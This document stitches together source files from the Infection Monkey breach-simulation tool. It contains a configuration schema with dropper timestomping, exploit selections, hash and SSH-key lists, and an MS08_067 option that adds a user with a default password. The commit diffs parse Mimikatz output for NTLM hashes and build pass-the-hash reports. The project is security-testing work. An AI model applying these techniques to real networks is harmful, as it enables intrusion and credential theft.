"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"scanner_class": {
"title": "Scanner class",
"type": "string",
"default": "TcpScanner",
"enum": [
"TcpScanner"
],
"enumNames": [
"TcpScanner"
],
"description": "Determines class to scan for machines. (Shouldn't be changed)"
},
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should set the monkey's file date to be the same as"
" another file"
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should try to move itsel instead of copying itself"
" to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
}
}
},
"cnc": {
"title": "Monkey Island",
"type": "object",
"properties": {
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description":
"List of internet services to try and communicate with to determine internet"
" connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"exploiter_classes": {
"title": "Exploits",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
},
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
" is already on the remote machine"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"user_to_add": {
"title": "Remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"remote_user_pass": {
"title": "Remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description":
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 0,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
}
},
"options": {
"collapsed": True
}
}

View File

@ -0,0 +1,6 @@
"""This file will include consts values regarding the groupsandusers collection"""
__author__ = 'maor.rayzin'
USERTYPE = 1
GROUPTYPE = 2

View File

@ -0,0 +1,52 @@
__author__ = 'maor.rayzin'
class MimikatzSecrets(object):
def __init__(self):
# Static class
pass
@staticmethod
def extract_sam_secrets(mim_string, users_dict):
users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:]
if mim_string.count("\n42.") != 2:
return {}
for sam_user_txt in users_secrets:
sam_user = dict([map(unicode.strip, line.split(":")) for line in
filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())])
username = sam_user.get("User")
users_dict[username] = {}
ntlm = sam_user.get("NTLM")
if not ntlm or "[hashed secret]" not in ntlm:
continue
users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip()
@staticmethod
def extract_ntlm_secrets(mim_string, users_dict):
if mim_string.count("\n42.") != 2:
return {}
ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:]
for ntds_user_txt in ntds_users:
user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip()
ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip()
ntlm = ntlm.replace("[hashed secret]", "").strip()
users_dict[user] = {}
if ntlm:
users_dict[user]['ntlm'] = ntlm
@staticmethod
def extract_secrets_from_mimikatz(mim_string):
users_dict = {}
MimikatzSecrets.extract_sam_secrets(mim_string, users_dict)
MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict)
return users_dict

View File

@ -97,6 +97,11 @@ class NodeService:
def get_monkey_label_by_id(monkey_id): def get_monkey_label_by_id(monkey_id):
return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id)) return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id))
@staticmethod
def get_monkey_critical_services(monkey_id):
critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', [])
return critical_services
@staticmethod @staticmethod
def get_monkey_label(monkey): def get_monkey_label(monkey):
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0] label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
@ -320,3 +325,7 @@ class NodeService:
@staticmethod @staticmethod
def get_node_hostname(node): def get_node_hostname(node):
return node['hostname'] if 'hostname' in node else node['os']['version'] return node['hostname'] if 'hostname' in node else node['os']['version']
@staticmethod
def get_hostname_by_id(node_id):
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))

View File

@ -0,0 +1,285 @@
from itertools import product
from cc.database import mongo
from bson import ObjectId
from cc.services.groups_and_users_consts import USERTYPE
from cc.services.node import NodeService
__author__ = 'maor.rayzin'
class PTHReportService(object):
"""
A static class supplying utils to produce a report based on the PTH related information
gathered via mimikatz and wmi.
"""
@staticmethod
def __dup_passwords_mongoquery():
"""
This function builds and queries the mongoDB for users that are using the same passwords. this is done
by comparing the NTLM hash found for each user by mimikatz.
:return:
A list of mongo documents (dicts in python) that look like this:
{
'_id': The NTLM hash,
'count': How many users share it.
'Docs': the name, domain name, _Id, and machine_id of the users
}
"""
pipeline = [
{"$match": {
'NTLM_secret': {
"$exists": "true", "$ne": None}
}},
{
"$group": {
"_id": {
"NTLM_secret": "$NTLM_secret"},
"count": {"$sum": 1},
"Docs": {"$push": {'_id': "$_id", 'name': '$name', 'domain_name': '$domain_name',
'machine_id': '$machine_id'}}
}},
{'$match': {'count': {'$gt': 1}}}
]
return mongo.db.groupsandusers.aggregate(pipeline)
@staticmethod
def __get_admin_on_machines_format(admin_on_machines, domain_name):
"""
This function finds for each admin user, which machines its an admin of, and compile them to a list.
:param admin_on_machines: A list of "monkey" documents "_id"s
:param domain_name: The admins' domain name
:return:
A list of formatted machines names *domain*\*hostname*, to use in shared admins issues.
"""
machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
return [domain_name + '\\' + i['hostname'] for i in list(machines)]
@staticmethod
def __strong_users_on_crit_query():
"""
This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and
are administrators on machines with services predefined as important services thus making these machines
critical.
:return:
A list of said users
"""
pipeline = [
{
'$unwind': '$admin_on_machines'
},
{
'$match': {'type': USERTYPE, 'domain_name': {'$ne': None}}
},
{
'$lookup':
{
'from': 'monkey',
'localField': 'admin_on_machines',
'foreignField': '_id',
'as': 'critical_machine'
}
},
{
'$match': {'critical_machine.critical_services': {'$ne': []}}
},
{
'$unwind': '$critical_machine'
}
]
return mongo.db.groupsandusers.aggregate(pipeline)
@staticmethod
def __build_dup_user_label(i):
return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username']
@staticmethod
def get_duplicated_passwords_nodes():
users_cred_groups = []
docs = PTHReportService.__dup_passwords_mongoquery()
for doc in docs:
users_list = [
{
'username': user['name'],
'domain_name': user['domain_name'],
'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None
} for user in doc['Docs']
]
users_cred_groups.append({'cred_groups': users_list})
return users_cred_groups
@staticmethod
def get_duplicated_passwords_issues():
user_groups = PTHReportService.get_duplicated_passwords_nodes()
issues = []
for group in user_groups:
user_info = group['cred_groups'][0]
issues.append(
{
'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords',
'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'],
'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']],
'is_local': False if user_info['domain_name'] else True
}
)
return issues
@staticmethod
def get_shared_admins_nodes():
# This mongo queries users the best solution to figure out if an array
# object has at least two objects in it, by making sure any value exists in the array index 1.
# Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account
# is shared.
admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'},
'admin_on_machines.1': {'$exists': True}},
{'admin_on_machines': 1, 'name': 1, 'domain_name': 1})
return [
{
'name': admin['name'],
'domain_name': admin['domain_name'],
'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name'])
} for admin in admins
]
@staticmethod
def get_shared_admins_issues():
admins_info = PTHReportService.get_shared_admins_nodes()
return [
{
'is_local': False,
'type': 'shared_admins_domain',
'machine': admin['domain_name'],
'username': admin['domain_name'] + '\\' + admin['name'],
'shared_machines': admin['admin_on_machines'],
}
for admin in admins_info]
@staticmethod
def get_strong_users_on_critical_machines_nodes():
crit_machines = {}
docs = PTHReportService.__strong_users_on_crit_query()
for doc in docs:
hostname = str(doc['critical_machine']['hostname'])
if hostname not in crit_machines:
crit_machines[hostname] = {
'threatening_users': [],
'critical_services': doc['critical_machine']['critical_services']
}
crit_machines[hostname]['threatening_users'].append(
{'name': str(doc['domain_name']) + '\\' + str(doc['name']),
'creds_location': doc['secret_location']})
return crit_machines
@staticmethod
def get_strong_users_on_crit_issues():
crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
return [
{
'type': 'strong_users_on_crit',
'machine': machine,
'services': crit_machines[machine].get('critical_services'),
'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']]
} for machine in crit_machines
]
@staticmethod
def get_strong_users_on_crit_details():
user_details = {}
crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
for machine in crit_machines:
for user in crit_machines[machine]['threatening_users']:
username = user['name']
if username not in user_details:
user_details[username] = {
'machines': [],
'services': []
}
user_details[username]['machines'].append(machine)
user_details[username]['services'] += crit_machines[machine]['critical_services']
return [
{
'username': user,
'machines': user_details[user]['machines'],
'services_names': user_details[user]['services']
} for user in user_details
]
@staticmethod
def generate_map_nodes():
monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1})
return [
{
'id': monkey['_id'],
'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]),
'group': 'critical' if monkey.get('critical_services', []) else 'normal',
'services': monkey.get('critical_services', []),
'hostname': monkey['hostname']
} for monkey in monkeys
]
@staticmethod
def generate_edges():
edges_list = []
comp_users = mongo.db.groupsandusers.find(
{
'admin_on_machines': {'$ne': []},
'secret_location': {'$ne': []},
'type': USERTYPE
},
{
'admin_on_machines': 1, 'secret_location': 1
}
)
for user in comp_users:
# A list comp, to get all unique pairs of attackers and victims.
for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location'])
if pair[0] != pair[1]]:
edges_list.append(
{
'from': pair[1],
'to': pair[0],
'id': str(pair[1]) + str(pair[0])
}
)
return edges_list
@staticmethod
def get_pth_map():
return {
'nodes': PTHReportService.generate_map_nodes(),
'edges': PTHReportService.generate_edges()
}
@staticmethod
def get_report():
pth_map = PTHReportService.get_pth_map()
PTHReportService.get_strong_users_on_critical_machines_nodes()
report = \
{
'report_info':
{
'strong_users_table': PTHReportService.get_strong_users_on_crit_details()
},
'pthmap':
{
'nodes': pth_map.get('nodes'),
'edges': pth_map.get('edges')
}
}
return report

View File

@ -12,6 +12,7 @@ from cc.services.config import ConfigService
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.services.node import NodeService from cc.services.node import NodeService
from cc.utils import local_ip_addresses, get_subnets from cc.utils import local_ip_addresses, get_subnets
from pth_report import PTHReportService
from common.network.network_range import NetworkRange from common.network.network_range import NetworkRange
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -50,13 +51,16 @@ class ReportService:
AZURE = 6 AZURE = 6
STOLEN_SSH_KEYS = 7 STOLEN_SSH_KEYS = 7
STRUTS2 = 8 STRUTS2 = 8
WEBLOGIC = 9, WEBLOGIC = 9
HADOOP = 10, HADOOP = 10
MSSQL = 11 PTH_CRIT_SERVICES_ACCESS = 11,
MSSQL = 12
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
TUNNEL = 1 TUNNEL = 1
SHARED_LOCAL_ADMIN = 2
SHARED_PASSWORDS = 3
@staticmethod @staticmethod
def get_first_monkey_time(): def get_first_monkey_time():
@ -108,11 +112,15 @@ class ReportService:
@staticmethod @staticmethod
def get_scanned(): def get_scanned():
formatted_nodes = []
nodes = \ nodes = \
[NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \ [NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \
+ [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in + [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
mongo.db.monkey.find({}, {'_id': 1})] mongo.db.monkey.find({}, {'_id': 1})]
nodes = [ for node in nodes:
formatted_nodes.append(
{ {
'label': node['label'], 'label': node['label'],
'ip_addresses': node['ip_addresses'], 'ip_addresses': node['ip_addresses'],
@ -121,12 +129,11 @@ class ReportService:
(NodeService.get_displayed_node_by_id(edge['from'], True) (NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))),
'services': node['services'] 'services': node['services']
} })
for node in nodes]
logger.info('Scanned nodes generated for reporting') logger.info('Scanned nodes generated for reporting')
return nodes return formatted_nodes
@staticmethod @staticmethod
def get_exploited(): def get_exploited():
@ -165,13 +172,14 @@ class ReportService:
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
for user in monkey_creds: for user in monkey_creds:
for pass_type in monkey_creds[user]: for pass_type in monkey_creds[user]:
creds.append( cred_row = \
{ {
'username': user.replace(',', '.'), 'username': user.replace(',', '.'),
'type': PASS_TYPE_DICT[pass_type], 'type': PASS_TYPE_DICT[pass_type],
'origin': origin 'origin': origin
} }
) if cred_row not in creds:
creds.append(cred_row)
logger.info('Stolen creds generated for reporting') logger.info('Stolen creds generated for reporting')
return creds return creds
@ -425,7 +433,7 @@ class ReportService:
ip_in_src = None ip_in_src = None
ip_in_dst = None ip_in_dst = None
for ip_addr in monkey['ip_addresses']: for ip_addr in monkey['ip_addresses']:
if source_subnet_range.is_in_range(unicode(ip_addr)): if source_subnet_range.is_in_range(text_type(ip_addr)):
ip_in_src = ip_addr ip_in_src = ip_addr
break break
@ -434,7 +442,7 @@ class ReportService:
continue continue
for ip_addr in monkey['ip_addresses']: for ip_addr in monkey['ip_addresses']:
if target_subnet_range.is_in_range(unicode(ip_addr)): if target_subnet_range.is_in_range(text_type(ip_addr)):
ip_in_dst = ip_addr ip_in_dst = ip_addr
break break
@ -470,7 +478,7 @@ class ReportService:
scans.rewind() # If we iterated over scans already we need to rewind. scans.rewind() # If we iterated over scans already we need to rewind.
for scan in scans: for scan in scans:
target_ip = scan['data']['machine']['ip_addr'] target_ip = scan['data']['machine']['ip_addr']
if target_subnet_range.is_in_range(unicode(target_ip)): if target_subnet_range.is_in_range(text_type(target_ip)):
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
source_subnet_range, source_subnet_range,
@ -529,20 +537,41 @@ class ReportService:
return cross_segment_issues return cross_segment_issues
@staticmethod
def get_domain_issues():
ISSUE_GENERATORS = [
PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_shared_admins_issues,
]
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
domain_issues_dict = {}
for issue in issues:
if not issue.get('is_local', True):
machine = issue.get('machine').upper()
if machine not in domain_issues_dict:
domain_issues_dict[machine] = []
domain_issues_dict[machine].append(issue)
logger.info('Domain issues generated for reporting')
return domain_issues_dict
@staticmethod @staticmethod
def get_issues(): def get_issues():
ISSUE_GENERATORS = [ ISSUE_GENERATORS = [
ReportService.get_exploits, ReportService.get_exploits,
ReportService.get_tunnels, ReportService.get_tunnels,
ReportService.get_island_cross_segment_issues, ReportService.get_island_cross_segment_issues,
ReportService.get_azure_issues ReportService.get_azure_issues,
PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_strong_users_on_crit_issues
] ]
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
issues_dict = {} issues_dict = {}
for issue in issues: for issue in issues:
machine = issue['machine'] if issue.get('is_local', True):
machine = issue.get('machine').upper()
if machine not in issues_dict: if machine not in issues_dict:
issues_dict[machine] = [] issues_dict[machine] = []
issues_dict[machine].append(issue) issues_dict[machine].append(issue)
@ -613,6 +642,8 @@ class ReportService:
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh': issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
elif issue['type'] == 'strong_users_on_crit':
issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
@ -620,7 +651,7 @@ class ReportService:
@staticmethod @staticmethod
def get_warnings_overview(issues, cross_segment_issues): def get_warnings_overview(issues, cross_segment_issues):
warnings_byte_array = [False] * 2 warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT)
for machine in issues: for machine in issues:
for issue in issues[machine]: for issue in issues[machine]:
@ -628,6 +659,10 @@ class ReportService:
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
elif issue['type'] == 'tunnel': elif issue['type'] == 'tunnel':
warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True
elif issue['type'] == 'shared_admins':
warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True
elif issue['type'] == 'shared_passwords':
warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True
if len(cross_segment_issues) != 0: if len(cross_segment_issues) != 0:
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
@ -651,6 +686,7 @@ class ReportService:
@staticmethod @staticmethod
def get_report(): def get_report():
domain_issues = ReportService.get_domain_issues()
issues = ReportService.get_issues() issues = ReportService.get_issues()
config_users = ReportService.get_config_users() config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords() config_passwords = ReportService.get_config_passwords()
@ -678,11 +714,14 @@ class ReportService:
'exploited': ReportService.get_exploited(), 'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds(), 'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(), 'azure_passwords': ReportService.get_azure_creds(),
'ssh_keys': ReportService.get_ssh_keys() 'ssh_keys': ReportService.get_ssh_keys(),
'strong_users': PTHReportService.get_strong_users_on_crit_details(),
'pth_map': PTHReportService.get_pth_map()
}, },
'recommendations': 'recommendations':
{ {
'issues': issues 'issues': issues,
'domain_issues': domain_issues
} }
} }

View File

@ -0,0 +1,155 @@
from cc.database import mongo
from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE
__author__ = 'maor.rayzin'
class WMIHandler(object):
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
def __init__(self, monkey_id, wmi_info, user_secrets):
self.monkey_id = monkey_id
self.info_for_mongo = {}
self.users_secrets = user_secrets
self.users_info = wmi_info['Win32_UserAccount']
self.groups_info = wmi_info['Win32_Group']
self.groups_and_users = wmi_info['Win32_GroupUser']
self.services = wmi_info['Win32_Service']
self.products = wmi_info['Win32_Product']
def process_and_handle_wmi_info(self):
self.add_groups_to_collection()
self.add_users_to_collection()
self.create_group_user_connection()
self.insert_info_to_mongo()
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
self.update_admins_retrospective()
self.update_critical_services()
def update_critical_services(self):
critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES')
mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}})
services_names_list = [str(i['Name'])[2:-1] for i in self.services]
products_names_list = [str(i['Name'])[2:-2] for i in self.products]
for name in critical_names:
if name in services_names_list or name in products_names_list:
mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}})
def build_entity_document(self, entity_info, monkey_id=None):
general_properties_dict = {
'SID': str(entity_info['SID'])[4:-1],
'name': str(entity_info['Name'])[2:-1],
'machine_id': monkey_id,
'member_of': [],
'admin_on_machines': []
}
if monkey_id:
general_properties_dict['domain_name'] = None
else:
general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1]
return general_properties_dict
def add_users_to_collection(self):
for user in self.users_info:
if not user.get('LocalAccount'):
base_entity = self.build_entity_document(user)
else:
base_entity = self.build_entity_document(user, self.monkey_id)
base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm')
base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam')
base_entity['secret_location'] = []
base_entity['type'] = USERTYPE
self.info_for_mongo[base_entity.get('SID')] = base_entity
def add_groups_to_collection(self):
for group in self.groups_info:
if not group.get('LocalAccount'):
base_entity = self.build_entity_document(group)
else:
base_entity = self.build_entity_document(group, self.monkey_id)
base_entity['entities_list'] = []
base_entity['type'] = GROUPTYPE
self.info_for_mongo[base_entity.get('SID')] = base_entity
def create_group_user_connection(self):
for group_user_couple in self.groups_and_users:
group_part = group_user_couple['GroupComponent']
child_part = group_user_couple['PartComponent']
group_sid = str(group_part['SID'])[4:-1]
groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
child_sid = ''
if type(child_part) in (unicode, str):
child_part = str(child_part)
name = None
domain_name = None
if "cimv2:Win32_UserAccount" in child_part:
# domain user
domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0]
name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2]
if "cimv2:Win32_Group" in child_part:
# domain group
domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0]
name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2]
for entity in self.info_for_mongo:
if self.info_for_mongo[entity]['name'] == name and \
